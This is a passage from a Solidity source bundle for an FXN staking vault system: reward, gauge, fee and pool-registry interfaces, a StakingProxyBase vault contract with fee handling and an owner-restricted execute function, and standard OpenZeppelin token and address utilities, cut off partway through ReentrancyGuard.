"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IRewards{\n struct EarnedData {\n address token;\n uint256 amount;\n }\n enum RewardState{\n NotInitialized,\n NoRewards,\n Active\n }\n \n function initialize(uint256 _pid, bool _startActive) external;\n function addReward(address _rewardsToken, address _distributor) external;\n function approveRewardDistributor(\n address _rewardsToken,\n address _distributor,\n bool _approved\n ) external;\n function deposit(address _owner, uint256 _amount) external;\n function withdraw(address _owner, uint256 _amount) external;\n function getReward(address _forward) external;\n function getRewardFilter(address _forward, address[] calldata _tokens) external;\n function notifyRewardAmount(address _rewardsToken, uint256 _reward) external;\n function balanceOf(address account) external view returns (uint256);\n function claimableRewards(address _account) external view returns(EarnedData[] memory userRewards);\n function rewardTokens(uint256 _rid) external view returns (address);\n function rewardTokenLength() external view returns(uint256);\n function rewardState() external view returns(RewardState);\n}"
},
"/contracts/interfaces/IProxyVault.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IProxyVault {\n\n enum VaultType{\n Erc20Basic,\n RebalancePool\n }\n\n function vaultType() external view returns(VaultType);\n function vaultVersion() external view returns(uint256);\n function initialize(address _owner, uint256 _pid) external;\n function pid() external returns(uint256);\n function usingProxy() external returns(address);\n function owner() external returns(address);\n function gaugeAddress() external returns(address);\n function stakingToken() external returns(address);\n function rewards() external returns(address);\n function getReward() external;\n function getReward(bool _claim) external;\n function getReward(bool _claim, address[] calldata _rewardTokenList) external;\n function earned() external returns (address[] memory token_addresses, uint256[] memory total_earned);\n}"
},
"/contracts/interfaces/IPoolRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IPoolRegistry {\n function poolLength() external view returns(uint256);\n function poolInfo(uint256 _pid) external view returns(address, address, address, address, uint8);\n function vaultMap(uint256 _pid, address _user) external view returns(address vault);\n function addUserVault(uint256 _pid, address _user) external returns(address vault, address stakeAddress, address stakeToken, address rewards);\n function deactivatePool(uint256 _pid) external;\n function addPool(address _implementation, address _stakingAddress, address _stakingToken) external;\n function setRewardActiveOnCreation(bool _active) external;\n function setRewardImplementation(address _imp) external;\n}"
},
"/contracts/interfaces/IFxnTokenMinter.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n// solhint-disable func-name-mixedcase\ninterface IFxnTokenMinter {\n function token() external view returns (address);\n\n function controller() external view returns (address);\n\n function minted(address user, address gauge) external view returns (uint256);\n\n function mint(address gauge_addr) external;\n\n function mint_many(address[8] memory gauges) external;\n\n function mint_for(address gauge, address _for) external;\n\n function toggle_approve_mint(address _user) external;\n}"
},
"/contracts/interfaces/IFxnGauge.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxnGauge{\n\n //basics\n function stakingToken() external view returns(address);\n function totalSupply() external view returns(uint256);\n function workingSupply() external view returns(uint256);\n function workingBalanceOf(address _account) external view returns(uint256);\n function deposit(uint256 _amount) external;\n function deposit(uint256 _amount, address _receiver) external;\n function deposit(uint256 _amount, address _receiver, bool _manage) external;\n function withdraw(uint256 _amount) external;\n function withdraw(uint256 _amount, address _receiver) external;\n function user_checkpoint(address _account) external returns (bool);\n function balanceOf(address _account) external view returns(uint256);\n function integrate_fraction(address account) external view returns (uint256);\n function baseToken() external view returns(address);\n function asset() external view returns(address);\n function market() external view returns(address);\n\n //weight sharing\n function toggleVoteSharing(address _staker) external;\n function acceptSharedVote(address _newOwner) external;\n function rejectSharedVote() external;\n function getStakerVoteOwner(address _account) external view returns (address);\n function numAcceptedStakers(address _account) external view returns (uint256);\n function sharedBalanceOf(address _account) external view returns (uint256);\n function veProxy() external view returns(address);\n\n //rewards\n function rewardData(address _token) external view returns(uint96 queued, uint80 rate, uint40 lastUpdate, uint40 finishAt);\n function getActiveRewardTokens() external view returns (address[] memory _rewardTokens);\n function rewardReceiver(address account) external view returns (address);\n function setRewardReceiver(address _newReceiver) external;\n function claim() external;\n function claim(address account) external;\n function claim(address account, address receiver) external;\n function getBoostRatio(address _account) external view returns (uint256);\n function depositReward(address _token, uint256 _amount) external;\n function voteOwnerBalances(address _account) external view returns(uint112 product, uint104 amount, uint40 updateAt);\n}\n"
},
"/contracts/interfaces/IFeeRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IFeeRegistry{\n function cvxfxnIncentive() external view returns(uint256);\n function cvxIncentive() external view returns(uint256);\n function platformIncentive() external view returns(uint256);\n function totalFees() external view returns(uint256);\n function maxFees() external view returns(uint256);\n function feeDeposit() external view returns(address);\n function getFeeDepositor(address _from) external view returns(address);\n}"
},
"/contracts/boosting/StakingProxyBase.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"../interfaces/IProxyVault.sol\";\nimport \"../interfaces/IFeeRegistry.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxnTokenMinter.sol\";\nimport \"../interfaces/IRewards.sol\";\nimport \"../interfaces/IPoolRegistry.sol\";\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\nimport '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';\n\n/*\nBase class for vaults\n\n*/\ncontract StakingProxyBase is IProxyVault{\n using SafeERC20 for IERC20;\n\n address public constant fxn = address(0x365AccFCa291e7D3914637ABf1F7635dB165Bb09);\n address public constant vefxnProxy = address(0xd11a4Ee017cA0BECA8FA45fF2abFe9C6267b7881);\n address public immutable feeRegistry;\n address public immutable poolRegistry;\n address public immutable fxnMinter;\n\n address public owner; //owner of the vault\n address public gaugeAddress; //gauge contract\n address public stakingToken; //staking token\n address public rewards; //extra rewards on convex\n address public usingProxy; //address of proxy being used\n uint256 public pid;\n\n uint256 public constant FEE_DENOMINATOR = 10000;\n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter){\n poolRegistry = _poolRegistry;\n feeRegistry = _feeRegistry;\n fxnMinter = _fxnminter;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"!auth\");\n _;\n }\n\n modifier onlyAdmin() {\n require(vefxnProxy == msg.sender, \"!auth_admin\");\n _;\n }\n\n //vault type\n function vaultType() external virtual pure returns(VaultType){\n return VaultType.Erc20Basic;\n }\n\n //vault version\n function vaultVersion() external virtual pure returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public virtual{\n require(owner == address(0),\"already init\");\n owner = _owner;\n pid = _pid;\n\n //get pool info\n (,gaugeAddress, stakingToken, rewards,) = IPoolRegistry(poolRegistry).poolInfo(_pid);\n }\n\n //set what veFXN proxy this vault is using\n function setVeFXNProxy(address _proxy) external virtual onlyAdmin{\n //set the vefxn proxy\n _setVeFXNProxy(_proxy);\n }\n\n //set veFXN proxy the vault is using. call acceptSharedVote to start sharing vefxn proxy's boost\n function _setVeFXNProxy(address _proxyAddress) internal{\n //set proxy address on staking contract\n IFxnGauge(gaugeAddress).acceptSharedVote(_proxyAddress);\n if(_proxyAddress == vefxnProxy){\n //reset back to address 0 to default to convex's proxy, dont write if not needed.\n if(usingProxy != address(0)){\n usingProxy = address(0);\n }\n }else{\n //write non-default proxy address\n usingProxy = _proxyAddress;\n }\n }\n\n //get rewards and earned are type specific. extend in child class\n function getReward() external virtual{}\n function getReward(bool _claim) external virtual{}\n function getReward(bool _claim, address[] calldata _rewardTokenList) external virtual{}\n function earned() external virtual returns (address[] memory token_addresses, uint256[] memory total_earned){}\n\n\n //checkpoint and add/remove weight to convex rewards contract\n function _checkpointRewards() internal{\n //if rewards are active, checkpoint\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //get user balance from the gauge\n uint256 userLiq = IFxnGauge(gaugeAddress).balanceOf(address(this));\n //get current balance of reward contract\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n if(userLiq >= bal){\n //add the difference to reward contract\n IRewards(_rewards).deposit(owner, userLiq - bal);\n }else{\n //remove the difference from the reward contract\n IRewards(_rewards).withdraw(owner, bal - userLiq);\n }\n }\n }\n\n //apply fees to fxn and send remaining to owner\n function _processFxn() internal{\n\n //get fee rate from fee registry (only need to know total, let deposit contract disperse itself)\n uint256 totalFees = IFeeRegistry(feeRegistry).totalFees();\n\n //send fxn fees to fee deposit\n uint256 fxnBalance = IERC20(fxn).balanceOf(address(this));\n uint256 sendAmount = fxnBalance * totalFees / FEE_DENOMINATOR;\n if(sendAmount > 0){\n //get deposit address for given proxy (address 0 will be handled by fee registry to return default convex proxy)\n IERC20(fxn).transfer(IFeeRegistry(feeRegistry).getFeeDepositor(usingProxy), sendAmount);\n }\n\n //transfer remaining fxn to owner\n sendAmount = IERC20(fxn).balanceOf(address(this));\n if(sendAmount > 0){\n IERC20(fxn).transfer(owner, sendAmount);\n }\n }\n\n //get extra rewards (convex side)\n function _processExtraRewards() internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getReward(owner);\n }\n }\n\n //get extra rewards (convex side) with a filter list\n function _processExtraRewardsFilter(address[] calldata _tokens) internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getRewardFilter(owner,_tokens);\n }\n }\n\n //transfer other reward tokens besides fxn(which needs to have fees applied)\n //also block gauge tokens from being transfered out\n function _transferTokens(address[] memory _tokens) internal{\n //transfer all tokens\n for(uint256 i = 0; i < _tokens.length; i++){\n //dont allow fxn (need to take fee)\n //dont allow gauge token transfer\n if(_tokens[i] != fxn && _tokens[i] != gaugeAddress){\n uint256 bal = IERC20(_tokens[i]).balanceOf(address(this));\n if(bal > 0){\n IERC20(_tokens[i]).safeTransfer(owner, bal);\n }\n }\n }\n }\n\n function _checkExecutable(address _address) internal virtual{\n require(_address != fxn && _address != stakingToken && _address != rewards, \"!invalid target\");\n }\n\n //allow arbitrary calls. some function signatures and targets are blocked\n function execute(\n address _to,\n uint256 _value,\n bytes calldata _data\n ) external onlyOwner returns (bool, bytes memory) {\n //fully block fxn, staking token(lp etc), and rewards\n _checkExecutable(_to);\n\n //only calls to staking(gauge) address if pool is shutdown\n if(_to == gaugeAddress){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n\n (bool success, bytes memory result) = _to.call{value:_value}(_data);\n require(success, \"!success\");\n return (success, result);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/security/ReentrancyGuard.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n 